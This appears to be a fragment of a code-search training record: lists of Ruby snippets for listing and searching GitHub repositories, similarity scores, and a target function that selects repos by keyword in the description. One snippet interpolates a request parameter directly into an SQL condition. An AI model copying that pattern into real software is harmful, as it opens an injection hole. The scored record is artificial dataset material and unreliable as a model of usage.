"def get_my_repos\n repos = []\n\n (1..get_total_repo_pages_count.to_i).each do |index|\n get_json( \"#{ GITHUB_USER_REPOS_URL }?per_page=100&page=#{ index }\" ).each do |item|\n repos << item[ 'full_name' ]\n end\n end\n\n return repos\nend",
"def get_repo_html(repo, username, avatar_url)\n @output += %Q(\n <article class=\"gh-card\" data-username=\"#{username}\" data-repo=\"#{repo.name}\">\n <section class=\"gh-card-top\">\n #{show_user_icon(username, avatar_url)}\n <section class=\"gh-card-info\">\n <a href=\"https://github.com/#{username}/#{repo.name}\"><h4>#{repo.name}</h4></a>\n <div class=\"gh-card-details\">\n <p>Created by <a href=\"https://github.com/#{username}\">#{username}</a></p>\n <p>Last updated on <a href=\"https://github.com/#{username}/#{repo.name}/commits/master\">#{get_time(repo.pushed_at)}</a>\n </p>\n </div>\n </section>\n #{show_repo_language(repo.primary_language)}\n </section>\n\n <p class=\"gh-card-desc\">#{repo.description || \"<i class=\\\"text-grey\\\">No description provided.</i>\"}</p>\n\n #{if SHOW_STARS || SHOW_FORKS || SHOW_LICENSE\n %Q(<section class=\"gh-card-bottom text-grey\">\n #{show_stars(repo.stargazers.total_count.to_s)}\n #{show_forks(repo.forks.total_count.to_s)}\n #{show_license(repo.license)}\n </section>)\n end}\n </article>\\n\\n)\n end",
"def repositories\n # TODO : merge with current data\n load_repos\n end",
"def index\n @jira_repos = JiraRepo.all\n end",
"def print_sources(sources)\n sources.each do |source|\n UI.title source.name do\n print_source_at_path source.repo\n end\n end\n UI.puts \"\\n\"\n end",
"def print_sources(sources)\n sources.each do |source|\n UI.title source.name do\n print_source_at_path source.repo\n end\n end\n UI.puts \"\\n\"\n end",
"def index\n @git_repos = GitRepo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @git_repos }\n end\n end",
"def display_releases(releases)\n url = \"\"\n releases.each do |release|\n puts \"\\n\\n#{release.name} by #{release.artist} on #{release.label}\\n\"\n release.tracks.each_with_index do |track, index|\n puts \"-#{track.name}\"\n url = track.url\n end\n end\n end",
"def repos(config_hash)\n if config_hash[\"organizations\"]\n repos = []\n config_hash[\"organizations\"][\"orgs\"].each do |org|\n # grab all the full repo names in this org. If no type is specified use public and also skip the forks\n # we also skip anything in the blacklist array\n repos << github.org_repos(org, type: config_hash[\"organizations\"][\"type\"] || \"public\")\n .collect { |x| x[\"full_name\"] unless x[\"fork\"] || x[\"archived\"] || (config_hash[\"organizations\"][\"blacklist\"] && config_hash[\"organizations\"][\"blacklist\"].include?(x[\"full_name\"])) }\n end\n repo_list = repos.flatten.compact.sort # return a single sorted array w/o nils\n puts \"Based on the provided org(s) (#{config_hash[\"organizations\"][\"orgs\"].join(',')}) managing the following repos: #{repo_list.join(', ')}\"\n repo_list\n elsif config_hash[\"repositories\"]\n config_hash[\"repositories\"]\n else\n puts \"Config does not include either 'repositories' or 'organizations' sections. Cannot continue!\"\n exit!\n end\nend",
"def repos\n @repos ||= (user_repos + org_repos).flatten\n end",
"def index\n @public_repositories = PublicRepository.all\n end",
"def get_public_repos(user_name)\n get(\"/users/#{user_name}/repos\")\n end",
"def latest_repos(print_bool = true, num = 10)\n\n # grab repository list\n repositories = @github.repos.list user: @username\n\n # sort repositories by creation date then reverse\n most_recent_repos = repositories.sort_by { |repo| repo.created_at }.reverse\n\n # if print is true, print the necessary number of repos\n # should be separate method\n if print_bool\n\n puts num.to_s + \" most recent repositores for #{@username}:\"\n\n # prints most recent repositories\n 0..(num - 1).times do |index|\n puts \"\\t\" + (index + 1).to_s + \". \" + most_recent_repos[index]['name'].to_s\n end\n\n end\n\n most_recent_repos[0..(num - 1)]\n\n end",
"def get_list\n @list_of_repos\n end",
"def user_repos\n @user_repos ||= (\n talk 'user repos'\n client.repos\n )\n end",
"def showpending\n ##user_repo_progress = UserRepoProgress.where(user_id: @current_user.id)\n ## repo = []\n\n ##user_repo_progress.each do |n|\n ## repo << Reposoitory.where(id: n.reposoitory_id)\n ##end\n\n repo = @current_user.reposoitories\n puts repo\n \n render json: repo, status: :ok\n end",
"def show\n @gitHubRepo = GitHubRepo.where(:id => @git_hub_issue.repo_id).first.repo\n end",
"def repositories\n @repositories ||= (organization.exists? ? organization.repositories : client.list_repositories)\n end",
"def find_invalid_repos\n repos_with_issues = RepositorySet.new(\n Repositext::PARENT_DIR\n ).git_ensure_repos_are_ready(\n :all_content_repos\n ) { |repo_path| puts \" - #{ repo_path.split('/').last }\" }\n # TODO: Use #all_synced_foreign_repos instead of the RepositorySet method. Requires a refactoring.\n repos_with_issues += ensure_st_ops_filenames_are_valid\n if repos_with_issues.any?\n puts\n puts \"Could not proceed because the following git repositories are not ready:\".color(:red)\n puts\n repos_with_issues.each { |repo_path, issues|\n puts repo_path\n puts '-' * 40\n issues.each { |e| puts \" - #{ e }\".color(:red) }\n }\n puts\n raise ReposNotReadyError.new(\n \"\\n\\nCannot proceed with synching subtitles until all content repos are clean!\".color(:red)\n )\n end\n true\n end",
"def print_count_of_sources(sources)\n number_of_repos = sources.length\n repo_string = number_of_repos != 1 ? 'repos' : 'repo'\n UI.puts \"#{number_of_repos} #{repo_string}\".green\n end",
"def print_count_of_sources(sources)\n number_of_repos = sources.length\n repo_string = number_of_repos != 1 ? 'repos' : 'repo'\n UI.puts \"#{number_of_repos} #{repo_string}\".green\n end",
"def all\n repos = self.class.load_json(repos_url)\n repos.map! { |repo| self.class.filter_repo_info(repo) }\n self.class.slice_in(repos, 3)\n end",
"def index\n @title = 'Repositories'\n @repositories = Repository.includes(:leaks).all.order(:url).page params[:page]\n end",
"def repositories(repo, options = {})\n paginate repo.public_user_repos_path, options if valid_user?(repo)\n end",
"def gl_repos\n all_repos.select{|x| x.is_a?(Repository::Git)}\n end",
"def show_repo_details\n # Synchronize repo with Git Hub (1 day between refreshs)\n @repo.sync_github!(1.day).save!\n \n # Synchronize contributors (1 hour between refreshs)\n if @repo.sync_contribs_delay?(1.hour)\n github_contributors_login = @repo.get_github_contributors\n \n if github_contributors_login\n users = CacheUser.where(login: github_contributors_login)\n\n # Drop any relation with old contributors - I think i've wasted my time\n if users.length > 0\n CacheContrib.where(cache_repo_id: @repo).where.not(cache_user_id: users.map(&:id)).delete_all\n end\n\n # Add new contributors with empty personal data\n new_users = github_contributors_login - users.map(&:login)\n new_users.each do |github_login_new|\n CacheUser.create(login: github_login_new)\n end\n \n # Make link for each contributor\n current_contribs = CacheUser.joins(:cache_contribs).where(cache_contribs: {cache_repo_id: @repo.id})\n CacheUser.where(login: github_contributors_login).where.not(id: current_contribs).each do |user|\n user.cache_contribs.build(cache_repo: @repo)\n user.save\n end\n end\n \n @repo.upd_userlist_at = Time.now\n @repo.save!\n end\n \n # Load contributors from cache, contributors without personal data or too old are first\n # Nota : I use this method because a simple select order by synced_on show nil in first\n # but I read than oracle put them at the end depending server configuration. This suck !\n @users = CacheUser.never_synced.only_repo(@repo).order(:updated_at)\n @users.merge CacheUser.synced_from(4.days).only_repo(@repo).order(:synced_on, :updated_at)\n \n # Update contributors personal data if too old or never updated\n if @users.length > 0\n maxlist = @users.length <= 148 ? @users.length : 148 # Not exceed 148 personal data requests\n \n # Synchronize personal data of contributors : Old method\n # -> not enought efficient with large contributors list\n # @users[0...maxlist].each {|contributor| contributor.reload.sync_github!(4.days).save!}\n\n # Synchronize personal data of contributors : Use threads for concurrent requests\n work_queue = Queue.new \n # Add to the working queue all logins to proceed by threads\n @users[0...maxlist].map(&:login).each {|github_login| work_queue.push github_login}\n \n # Launch up to 10 threads\n # Warning : Each worker use a connection from ActiveRecord's pool. See database.yml for\n # set the pool size (count also the connection for this main thread).\n workers = (0...10).map do\n Thread.new do\n until work_queue.empty? do\n github_login = work_queue.pop(true) rescue nil\n if github_login\n user = CacheUser.where(login: github_login).first\n if user\n user.sync_github!(4.days).save!\n end\n end\n end\n end\n end\n workers.map(&:join) # Wait all threads finished before proceeding further \n end\n # Reload fresh data.\n @users = CacheUser.only_repo(@repo)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_details, status: :ok, location: @repo }\n end\n end",
"def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end",
"def show\n @repo_item = RepositoryManager::RepoItem.find(params[:id])\n\n check_permission do\n @group.can_read?(@repo_item) or\n (@repo_item.is_folder? and @group.can? :index, :files, current_user) or\n (!@repo_item.is_folder? and @group.can? :read, :file, current_user)\n end\n\n if @repo_item.is_folder?\n @children = @repo_item.children.order(name: :asc).order(file: :asc)\n else\n @children = []\n end\n end",
"def gather_repos(books)\n\tbooks.each do |book|\n\t\tYAML.load(File.open(Dir.home + '/workspace/' + book + '/config.yml'))['sections'].each do |section| \n\t\t\t@repo_list.push(section['repository']['name'])\n\t\tend\n\tend\n\t@repo_list.delete('cloudfoundry/uaa')\n\treview_check @repo_list.uniq\nend",
"def repositories_with_pull_requests(reponames = [])\n repositories = []\n page = 1\n loop do\n repositories_in_page = load_repos_in_page(page)\n break if repositories_in_page.empty?\n repositories.concat(repositories_in_page)\n page += 1\n end\n repositories.select! { |repo| reponames.include?(repo.name) } unless reponames.empty?\n repositories.select!(&:any_pull_requests?)\n repositories\n end",
"def index\n @repositories = current_user.repositories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repositories }\n end\n end",
"def git_remote\n repos = begin\n %x{git remote --verbose 2>/dev/null}.split(\"\\n\").map(&:split).map {|x| [x[0],x[1]] }.uniq\n rescue\n []\n end\n default = repos.find { |x| x.first == 'origin'}\n items = repos.map { |x| x.last }\n\n menu_with_default \"Select repository \", items.compact, default\n end",
"def show\n @repo = Repo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @repo }\n end\n end",
"def get_contents\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository_contents(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get repository contents: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_contents_json = response.parsed_response\n end",
"def list_repo(repo_id)\n response = HTTParty.get(\n GIT_BASE_URL + 'projects/' + repo_id.to_s,\n :headers => {\n 'PRIVATE-TOKEN' => GIT_TOKEN\n }\n )\n Rails.logger.info \"Git server response (list repo): #{response}\"\n return response['content']\n end",
"def show\n @git_repo = GitRepo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @git_repo }\n end\n end",
"def repos\n super.sort\n end",
"def repos\n pry(Git::Multi.repositories)\nend",
"def list_repositories\n JSON.parse(request(:get, ''))\n end",
"def find_repos(user)\n user.repos\n end",
"def get_app_repositories\n json_response = @client.list_installation_repos\n\n repository_list = []\n if json_response.count > 0\n json_response[\"repositories\"].each do |repo|\n repository_list.push(repo[\"full_name\"])\n end\n else\n puts json_response\n end\n\n repository_list\nend",
"def list\n @module_name = _('release_Edit')\n @project_id = params[:project_id]\n @releases = Release.find :all,\n :conditions => \"project_id = #{params[:project_id]}\", :order => 'due desc'\n if params[:layout] == 'false'\n render :layout => false \n end\n end",
"def show\n render(:json => Repo.find(params[:id]).to_json)\n rescue ActiveRecord::RecordNotFound\n render(:json => {error: \"no repo with that id found}\"}, :status => 404)\n end",
"def index\n @repositories = Repository.all\n\n respond_with(@repositories)\n end",
"def find_by_username_menu\n puts\n puts \"Enter a GitHub username with *EXACT* capitalization to list that user's repos:\"\n input = gets_user_input\n #if username exists in our DB, don't make API call.\n if !username_exists?(input)\n #making an API call\n get_data(input)\n end\n if find_user(input) == false\n puts \"That user doesn't exist or doesn't have any public repos\"\n menu\n else\n @user = find_user(input)\n end\n @repos = find_repos(@user)\n if show_repos(@repos) == false\n puts \"User has no repos\"\n menu\n end\n find_by_username_sub_menu\n end",
"def all_repos\n if GitHosting.multi_repos?\n repositories\n else\n [ repository ].compact\n end\n end",
"def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end",
"def run\n input = prompt(\"Would you like to view contribution statistics on a repository? (y/n)\", \n /^[yn]$/)\n until input == \"n\"\n repo_full_name = self.choose_repo\n self.display_contributions(repo_full_name)\n input = prompt(\"Would you like to view contribution statistics on a repository? (y/n)\", \n /^[yn]$/)\n end\n puts \"Thank you!\"\n end",
"def repos\n ReposAPI.new(self)\n end",
"def show\n @repo = Hubstats::Repo.where(name: params[:repo]).first\n @pull_requests = Hubstats::PullRequest.belonging_to_repo(@repo.id).merged_in_date_range(@start_date, @end_date).order(\"updated_at DESC\").limit(50)\n @pull_count = Hubstats::PullRequest.belonging_to_repo(@repo.id).merged_in_date_range(@start_date, @end_date).count(:all)\n @deploys = Hubstats::Deploy.belonging_to_repo(@repo.id).deployed_in_date_range(@start_date, @end_date).order(\"deployed_at DESC\").limit(50)\n @deploy_count = Hubstats::Deploy.belonging_to_repo(@repo.id).deployed_in_date_range(@start_date, @end_date).count(:all)\n @comment_count = Hubstats::Comment.belonging_to_repo(@repo.id).created_in_date_range(@start_date, @end_date).count(:all)\n @users = Hubstats::User.with_pulls_or_comments_or_deploys(@start_date, @end_date, @repo.id).only_active.order(\"login ASC\").limit(50)\n @active_user_count = Hubstats::User.with_pulls_or_comments_or_deploys(@start_date, @end_date, @repo.id).only_active.length\n @qa_signoff_count = Hubstats::QaSignoff.belonging_to_repo(@repo.id).signed_within_date_range(@start_date, @end_date).count(:all)\n @net_additions = Hubstats::PullRequest.merged_in_date_range(@start_date, @end_date).belonging_to_repo(@repo.id).sum(:additions).to_i -\n Hubstats::PullRequest.merged_in_date_range(@start_date, @end_date).belonging_to_repo(@repo.id).sum(:deletions).to_i\n @additions = Hubstats::PullRequest.merged_in_date_range(@start_date, @end_date).belonging_to_repo(@repo.id).average(:additions)\n @deletions = Hubstats::PullRequest.merged_in_date_range(@start_date, @end_date).belonging_to_repo(@repo.id).average(:deletions) \n\n stats\n end",
"def show\n render json: JSONAPI::Serializer.serialize(@repo)\n end",
"def index\n @repositories = current_user.repositories\n respond_to do |format|\n format.html { redirect_to session_url }\n format.json { render json: @repositories }\n end\n end",
"def get_repo_details\n user = User.find_by(uuid: params[:uuid])\n client = Octokit::Client.new(:access_token => user.password)\n repo_map = {}\n client.repository(:user => user.gh_username, :repo => params[:repo_name]).each { |detail|\n repo_map[detail[0]] = detail[1]\n }\n repo_map['languages'] = client.languages(:user => user.gh_username, :repo => params[:repo_name]).map{ |langArray|\n langArray[0]\n }\n render :json => repo_map\n end",
"def admin_repository_stats\n get_admin_stats \"repos\"\n end",
"def show_all_projects\r\n json = GoodData.get GoodData.profile.projects\r\n puts \"You have this project available:\"\r\n json[\"projects\"].map do |project|\r\n pid = project[\"project\"][\"links\"][\"roles\"].to_s\r\n puts \"Project name: #{project[\"project\"][\"meta\"][\"title\"].bright} Project PID: #{pid.match(\"[^\\/]{32}\").to_s.bright}\"\r\n end\r\n end"
] |
[
"0.75763303",
"0.7115826",
"0.6780938",
"0.6618577",
"0.6587124",
"0.6537974",
"0.6447927",
"0.64366525",
"0.6362216",
"0.63511574",
"0.6320346",
"0.6298403",
"0.6275894",
"0.6266842",
"0.6215385",
"0.621097",
"0.61617893",
"0.61551034",
"0.6144876",
"0.6108936",
"0.5992864",
"0.599144",
"0.5986123",
"0.5981905",
"0.5976457",
"0.593516",
"0.59292614",
"0.58706534",
"0.586885",
"0.5868029",
"0.5856426",
"0.58548164",
"0.58480155",
"0.58394647",
"0.58356184",
"0.5824441",
"0.58230895",
"0.5821122",
"0.579749",
"0.57971656",
"0.5782142",
"0.57628894",
"0.57567364",
"0.5746514",
"0.57362086",
"0.57317954",
"0.5723523",
"0.5713991",
"0.570823",
"0.57070047",
"0.57070047",
"0.5705642",
"0.57036936",
"0.56813276",
"0.5675117",
"0.56589925",
"0.5653042",
"0.56477237",
"0.5643164",
"0.56410223",
"0.5611706",
"0.5604688",
"0.55850613",
"0.5582234",
"0.5581968",
"0.5581968",
"0.5563767",
"0.55633223",
"0.5555566",
"0.5553971",
"0.5525746",
"0.55191606",
"0.5512162",
"0.55120564",
"0.5508357",
"0.55067885",
"0.54974383",
"0.5484398",
"0.5477816",
"0.5474495",
"0.54721975",
"0.5458918",
"0.5458624",
"0.54549026",
"0.5452032",
"0.5448451",
"0.5443712",
"0.544349",
"0.544051",
"0.5438154",
"0.5433765",
"0.5433655",
"0.5432132",
"0.5429814",
"0.54175353",
"0.5412655",
"0.54015493",
"0.5395325",
"0.53819233",
"0.53790396"
] |
0.78446364
|
0
|
Selects all repos that have the given keyword in the description
|
def find_repo_by_keyword(keyword)
Repo.all.select do |repo|
if repo.description != nil
repo.description.downcase.include?(keyword)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def search_repo(query)\n repos = load_and_cache_user_repos\n results = repos.select do |repo|\n repo['name'] =~ Regexp.new(query, 'i')\n end\n results += search_all_repos(query) if query =~ %r{\\/}\n results.uniq\n end",
"def repos(*args)\n params = args.extract_options!\n normalize! params\n assert_required_keys %w[ keyword ], params\n\n get_request(\"/legacy/repos/search/#{params.delete('keyword')}\", params)\n end",
"def search_text(query, text)\n text = pattern(text)\n query.where { title.ilike(text) | description.ilike(text) }\n end",
"def find(*pattern)\n pattern = pattern.join('*')\n pattern << '*' unless pattern =~ /\\*$/\n \n packages = []\n @repositories.select{|label,_| @active.include? label }.each do |label, repos|\n repos.each do |repo|\n packages.concat(repo.scan(pattern))\n end\n end\n packages\n end",
"def search_for_keyword(keyword)\n\t\ttemp = Array.new\n\t\[email protected] do |card|\n\t\t\ttemp << card if card.keywords.contains(keyword)\n\t\tend\n\t\ttemp\n\tend",
"def find_by_keyword(keyword)\n projects.find { |project| project.keyword == keyword } || false\n end",
"def description_contains_keywords (description, keywords)\n if (keywords.nil? || description.nil?)\n puts \"There are no keywords in the description of this URL: (#{url})\"\n return false\n else \n arr = keywords.split(',')\n arr.each do |keyword|\n if description.downcase.include?keyword.downcase\n puts \"Found matching keyword: #{keyword}\"\n return true\n end \n end \n end\nend",
"def search_terms(*words)\n terms = []\n words.each { |word| terms.push \"'%#{word.gsub(/[^a-z]/i, '').strip}%'\" }\n return nil if terms.empty?\n return 'description ILIKE ' + terms.join(' AND description ILIKE ')\nend",
"def remove_keyword_in_requirements\n reqs = Requirement.where(project: project)\n reqs.each do |req|\n next unless req.description.grep(%r{<abbr title='[A-Za-z0-9 ,.\\-]*'>#{key}</abbr>})\n newdesc = req.description.gsub(%r{<abbr title='[A-Za-z0-9 ,.\\-]*'>#{key}</abbr>}, key)\n req.update(description: newdesc)\n req.save\n end\n end",
"def search(query, mode = 0)\n\n regex = /(?:#{query.split(/\\s+/).join('|')})/i\n\n matches = {}\n packages.each do |package|\n\n name = package.name\n\n # skip if already matched\n next if matches[name]\n\n # search\n if regex.match(name) ||\n mode === ::Composer::Repository::BaseRepository::SEARCH_FULLTEXT &&\n package.kind_of?(::Composer::Package::CompletePackage) &&\n regex.match(\"#{package.keywords ? package.keywords.join(' ') : ''} #{package.description ? package.description : ''}\")\n\n matches[name] = {\n 'name' => package.pretty_name,\n 'description' => package.send('description'),\n }\n end\n end\n matches.values\n end",
"def searchPost(keyword)\n posts = Post.where(deleted_user_id: nil).where(\"title like ? or description like ?\", \"%\" + keyword + \"%\", \"%\" + keyword + \"%\")\n end",
"def query(keyword)\n return unless keyword\n\n where(\"title ILIKE '%?%'\", keyword)\n end",
"def search_search_text\n query\n .where(localized_search_text_in(:title), text: \"%#{search_text}%\")\n .or(query.where(localized_search_text_in(:description), text: \"%#{search_text}%\"))\n end",
"def keyword_conditions\n unless keyword.blank?\n searchable_columns = %w(title description justification project_number) # add any freetext-searchable fields here\n keyword.strip!\n search_str = searchable_columns.map { |x| \"#{x} LIKE :keyword\"}.to_sentence(:words_connector => \" OR \", :last_word_connector => \" OR \")\n CapitalProject.where(search_str, :keyword => \"%#{keyword}%\")\n end\n end",
"def search_search_text\n query\n .where(\"decidim_opinions_opinions.title ILIKE ?\", \"%#{search_text}%\")\n .or(query.where(\"decidim_opinions_opinions.body ILIKE ?\", \"%#{search_text}%\"))\n end",
"def search\n @search_term = params[:srch]\n @products = Product.find(:all, :conditions => ['description LIKE ?', \"%#{@search_term}%\"])\n end",
"def search\n query = language_params\n params = query.split(',').map(&:strip)\n @repositories = {}\n params.each do |language|\n logger.info \"language received: #{language}\"\n results = @client.search_repos(\"language: #{language}\", sort: 'stars', order: 'desc')\n logger.info \"#{results.total_count} #{'records'.pluralize(results.total_count)} found\"\n @repositories[language] = find_or_create_repository_list(results.items[0..9])\n end\n end",
"def find_modules(text)\n modules = []\n\n KEYWORDS.each do |keyword|\n modules << text.select{|x| x.start_with? \"#{keyword} \"}\n end\n\n return modules.flatten!\nend",
"def include_keyword?(keyword)\n return true if self.name && self.name.downcase.include?(keyword.downcase)\n return true if self.description && self.description.downcase.include?(keyword.downcase)\n \n return false\n end",
"def searchdescription\n end",
"def replace_keyword_in_requirement\n reqs = Requirement.where(project: project)\n reqs.each do |req|\n next unless req.description.include?(key)\n abbr = \"<abbr title='#{definition}'>#{key}</abbr>\"\n newdesc = if req.description[%r{<abbr title='[A-Za-z0-9 ,.\\-]*'>#{key}</abbr>}]\n req.description.gsub(%r{<abbr title='[A-Za-z0-9 ,.\\-]*'>#{key}</abbr>}, abbr)\n else\n req.description.gsub(key, abbr)\n end\n req.update(description: newdesc)\n req.save\n end\n end",
"def project_find(label)\n @project = projects.find { |item| item.text.include? label }\n end",
"def find(items)\n query_array = query.gsub(/_/,\" \").downcase.split\n\n results = []\n items.each{ |item|\n match_all = true\n query_array.each{ |query|\n description = item.description.gsub(\"/,/\",\"~\")\n if !item.name.gsub(/_/,\" \").downcase.include?(query) and !description.gsub(/_/,\" \").downcase.include?(query)\n match_all = false\n else\n if description.gsub(/_/,\" \").downcase.include?(query)\n self.description_map[item] = map_description_part(description, query)\n else\n self.description_map[item] = if item.description.size>=30 then item.description[0..27] + \"...\" else item.description end\n end\n end\n }\n if match_all\n results.push(item)\n end\n }\n\n self.found_items = results\n if self.found_items.size == 0 and self.query.size >= 2\n suggest_other_query(items, query)\n end\n\n end",
"def search_description_scrape\n @doc.search('.muted a').first(10).each do |description|\n @descriptions << description.text\n end\n check_for_results\n end",
"def search(term)\n all.select do |unit|\n unit.aliases.any? { |str| Regexp.new(term).match(str) }\n end\n end",
"def search_for_description pkgname, packages = []\n cache_key = \"description_package_#{pkgname.downcase}\"\n description_package = Rails.cache.fetch(cache_key, :expires_in => 12.hours) do\n if packages.blank?\n packages = Seeker.prepare_result(\"\\\"#{pkgname}\\\"\", nil, nil, nil, nil)\n packages = packages.reject {|p| p.first.type == 'ymp'}\n end\n packages.select {|p| p.name == pkgname}.each do |package|\n description_package = nil\n unless package.description.blank?\n description_package = package\n logger.info \"Found package info for #{pkgname} in: #{package.project}\"\n break\n end\n logger.error \"No package info for #{pkgname} in: #{package.project}\"\n end\n description_package\n end\n end",
"def check_for_keyword(keyword)\n items_to_check = { job_description: job_description, skills: skills, job_title: job_title }\n items_to_check.each do |key,value|\n condition = case key\n when :skills\n \"does not\" unless value.grep keyword.capitalize \n else\n \"does not\" unless value.downcase.include? keyword.downcase\n end\n puts \"Freelancer\\'s #{name} #{key} #{condition} contains #{keyword}\"\n end\n end",
"def find_jobs_by_term\n\n print \"\\nEnter a search term to filter jobs by: \".blue\n search_term = gets.strip\n\n jobs = FreelancerFinder::Job.all.find_all do |job|\n job.title.include?(\"#{search_term}\") || job.short_description.include?(\"#{search_term}\") || !!job.tags.detect {|tag| tag.include?(\"#{search_term}\")}\n end\n\n jobs\n end",
"def filter(filter, repo)\n\n return ( (filter == 'all') || ( repo.has_key?('tags') && repo['tags'].include?(filter) ) || repo['name'] == filter )\n\nend",
"def search(term, lang=@default_lang)\n ret = []\n (1..114).each do |chapter|\n verses = get_chapter(chapter, lang)\n\n verses.each do |v|\n if v[lang].include? term\n ret << v\n end\n end\n end\n\n return ret\n end",
"def find_eles_by_text_include tag, text\n find_eles_by_attr_include tag, :text, text\n end",
"def description\n search_by_itemprop 'description'\n end",
"def auto_complete_for_recipeSearch_description\n criteria = '%' + params[:recipeSearch][:description] + '%'\n @recipes = Recipe.find(:all, \n :conditions=>[\"title like ? OR description like ?\",criteria, criteria],\n :order=>'title desc', :limit=>10)\n render :partial=> \"recipes\" \n end",
"def index_by_keyword\n entries = Entry.all\n @selected_entries = Array.new\n @keyword = params[:keyword]\n entries.each do |entry|\n if /#{@keyword}/.match(entry.content) ||\n /#{@keyword}/.match(entry.tags) ||\n /#{@keyword}/.match(entry.title)\n @selected_entries << entry\n end\n end\n logger.debug \"hello\"\n end",
"def search(options = {})\n exact_match = options[:exact_match].nil? ? true : options[:exact_match]\n artifacts = super\n\n if exact_match\n artifacts.select! { |artifact| File.basename(artifact.download_uri) == options[:name] }\n end\n artifacts\n end",
"def find_widgets widgets_description\n @widgets.find_all widgets_description\n end",
"def all_with_search_term(search_term)\r\n results = self.search(search_term.to_s+'*', :field_weights => {:title => 5, :body => 1},:enable_star => true,:min_prefix_len => 3)\r\n\r\n for debate in Debate.find_tagged_with(search_term, :conditions => [\"debates.id NOT IN (?)\", results.collect(&:id)])\r\n results << debate\r\n end\r\n \r\n results\r\n end",
"def filtered_description(regexp)\n build_description_from(\n *nested_descriptions.collect do |description|\n description =~ regexp ? $1 : description\n end\n )\n end",
"def get_keywords( descriptions )\n keywords = []\n descriptions.each do |description|\n page_text = Nokogiri::HTML(description).text\n keywords.concat( page_text.split(/\\W+/) )\n end\n\n return keywords\nend",
"def search\n @articles = Article.includes(:comments).order(date: :desc).where(\"title LIKE ? OR content LIKE ?\", \"%#{params[:keyword]}%\", \"%#{params[:keyword]}%\").take(20)\n end",
"def find(word)\n findBy :word_text, word\n end",
"def find_some(names,options={})\n return Postal.driver.selectLists(names,'')\n end",
"def search_string\n [name, description].join(' ')\n end",
"def query_github\n make_api_request(\"https://api.github.com/repos/AlchemyCMS/alchemy_cms/tags\")\n end",
"def find_cool(collections)\n collections.find_all {|element| element if element.has_value?(\"cool\")}\nend",
"def is_relevant?(group)\n if KEYWORDS.any? { |k| group['description'].include?(k) }\n return true\n elsif KEYWORDS.any? { |k| group['name'].include?(k) }\n return true\n end\n false\nend",
"def filterRepositories\n\tEnumerator.new { |repos|\n\t\twhile (gets)\n\t\t\trepo = Repo.new\n\t\t\t$_.sub!(/\\(via.*?\\)/, '') # Remove 'via' annotation in line.\n\t\t\trepo.name, repo.type, repo.url = $_.split(/\\s+/)\n\t\t\t\n\t\t\trepo.score = 0\n\t\t\t\n\t\t\trepos << repo\n\t\tend\n\t}.group_by{|repo| repo.name}.values.each{|repoList|\n\t\tprintBest repoList\n\t}\nend",
"def search_tag(tag)\n search_text(tag.name)\n end",
"def search(phrase, limit=5, description=true, display=true)\n search = phrase.split.join(\"_\")\n endpoint = \"https://en.wikipedia.org/w/api.php?action=opensearch&format=json&search=#{search}&limit=#{limit}\"\n hash = get(endpoint)\n results = hash[1]\n descriptions = hash[2]\n if display\n puts \"Displaying #{results.length} results:\"\n for i in 0...results.length\n if description\n if ! descriptions[i].empty?\n puts \"\\n'#{results[i]}' : #{descriptions[i]}\"\n else\n puts \"\\n'#{results[i]}' : No Immediate Description Available. Try `wik -d #{results[i]}`\"\n end\n else\n puts \"\\n'#{results[i]}'\"\n end\n end\n end\n return hash\n end",
"def search\n # If there's only one in the list, there will still be a list\n @ff.each_file do |fil|\n \n # TODO: check for unreadable files and record them as such\n f = File.open fil.fullpath, \"r\"\n r = /^\\s*\\#\\s*#{ @tag }/i\n f.each_line do |line|\n if line =~ r\n @found += 1\n #@repo\n end\n end\n end\n \n if found > 0\n @reporter.report \"'#{ @tag }' tag #{ @found } time(s)\", true\n else\n \n @reporter.report_message \"\\tWhere are the #{ @tag } tags?\", false\n end\n \n \n end",
"def find_available_repo(product, repository_key)\n @repos.find_all do |elem|\n elem[1]['product'] == product['name'] &&\n elem[1]['platform'] + '^' + elem[1]['platform_version'] == repository_key\n end\n end",
"def search_in_news(phrase)\n news = []\n\n where([\"user_id = ? AND (description LIKE ? OR title LIKE ?)\",\n User.current_user_id, \"%#{phrase}%\", \"%#{phrase}%\"]).each do |news_item|\n news.push news_item.attributes\n end\n\n news\n end",
"def find_terms(doc)\n terms_match = @terms.select { |term| doc.join('').match(term.to_s) }\n\n terms_match.map do |term, definition|\n \"*[#{term}]: #{definition}\".delete(\"\\t\\r\\n\").squeeze(' ').strip\n end\nend",
"def search(word, options)\n session.options = adapt_to_dev_env(options)\n session.get(\"/publications?keyword=#{CGI.escape(word)}\")\n end",
"def descriptions\n @all_descriptions ||= @doc.match DESCRIPTION_MATCHES\n end",
"def find_recipe_by_title\n # view_recipe(Recipe.find_by(title: ask('Which recipe would you like to look for? >:'))) # ask for recipe title, search for it and display\n list_recipes(Recipe.where(\"title LIKE ?\", \"%\"+ ask('Which recipe would you like to look for? >:') + \"%\").order(:title))\n\n end",
"def find_description_in(header)\n desc_found = false\n docstring = []\n header.each_line do |line|\n if desc_found\n docstring.push line\n elsif line.chomp == 'Description'\n desc_found = true\n end\n end\n\n docstring.join(\"\\n\")\n end",
"def search(word)\n results = []\n @books.each {|item| results << item if item[0].downcase.include?(word) }\n results.empty? ? (puts \"Search returned no results...\") : (results.each {|item| puts \"#{item[0]} (#{item[1]})\"})\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"Write your SQL query Here\"\nend",
"def search_commit(commit)\n search_text(commit.message)\n end",
